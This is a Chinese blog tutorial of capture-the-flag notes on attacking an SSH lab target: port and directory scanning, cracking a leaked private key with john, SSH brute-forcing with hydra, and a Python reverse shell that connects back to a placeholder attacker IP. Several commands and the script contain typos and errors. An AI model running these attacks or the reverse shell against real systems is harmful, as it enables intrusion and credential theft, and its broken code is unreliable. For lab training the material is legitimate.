CTF夺旗-SSH服务渗透 | 李青帝

LOADING

加载过慢请开启缓存 浏览器默认开启

CTF夺旗-SSH服务渗透

探测端口:nmap -sV ip

访问:http://ip:port/

隐藏文件探测:dirb http://ip:port/

登入远程文件(ssh):

1.查看文件权限:ls -alh

2.登陆服务器:ssh -i id_rsa 用户名@主机地址

3.赋读写权限:chmod 600 id_rsa

4.转换密钥为john可识别信息:ssh2john ida_isa >isacrack

5.利用字典解密isacrack信息:zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules isacrack

6.切换到根目录:cd /root

7.查找具有root权限的文件:find / -perm -4000 2>/dev/null

8.通过数组溢出提权

ssh1

ssh2

ssh协议介绍

SSH为Secure Shell的缩写,由IETF的网络小组(Network Working Group)所制定;SSH为建立在应用层基础的安全协议。

SSH是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用SSH协议可以有效防止远程管理过程中的信息泄露问题。

基于TCP 22号端口的服务

SSH协议认证机制

基于口令的安全验证

基于密钥的安全验证

ida_rsa就是你的密钥,ida_rsa.pub则是你的公钥

信息探测

探测靶场开放的服务与服务版本:nmap -sV 靶场IP地址

探测靶场全部信息:nmap -A -v 靶场IP地址

探测靶场的操作系统类型与版本:nmap -O 靶场IP地址

分析探测结果

对于SSH服务的22端口的靶场,首先考虑:

1.暴力破解

2.私钥泄露(私钥有没有对应的密码,是否可以找到私钥的用户名)

对于开放的http服务的80端口或者其他端口的靶场,首先考虑:

1.通过浏览器访问对应的靶场http服务,如http://靶场IP地址:http服务端口

2.使用探测工具对http的目录进行探测,如dirb http://靶场IP地址:http服务端口/

特别注意 特殊端口(大于1024的端口)

使用nikto扫描器来挖掘敏感信息:nikto -host 靶场IP地址

特别注意config等特殊敏感文件

删除文件:rm 文件名

下载网页文件:wget “http://ip/路径/文件”

pwd:当前目录

扩大战果

登录服务器后

1,查看当前用户whoami

2,id查看当前用户的权限

3,查看根目录寻找flag文件

如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一般情况下,flag文件只属于root用户和对应的用户组;

查看所有的列表:Cat /etc/passwd

查看用户组:cat /etc/group

查看属于某些用户的文件:find / -user 用户名

查看缓冲文件目录:/tmp

深入挖掘

反弹shell

靶场代码
``
#!/usr/bin/python
Import os,subprocess,socket
s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP地址","攻击机监听端口"))
os.dup2(s.fieno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

攻击机netcat命令:nc -lpv 未占用的端口

查看占用的端口:netstat -pantu

背水一战

万不得已的时候,只能对ssh服务进行暴力破解。破解最后一个用户名。破解工具如hydra,medusa等;

利用cupp创建字典

Git clone https://github.com/jeanphorn/common-password.git

chmod +x cupp.py 可执行文件的赋予

./cupp.py -i 以交互的方式创建字典

ssh3

优化会话

Python -c "import pty;pty.spawn('/bin/bash')"

su - root

ssh4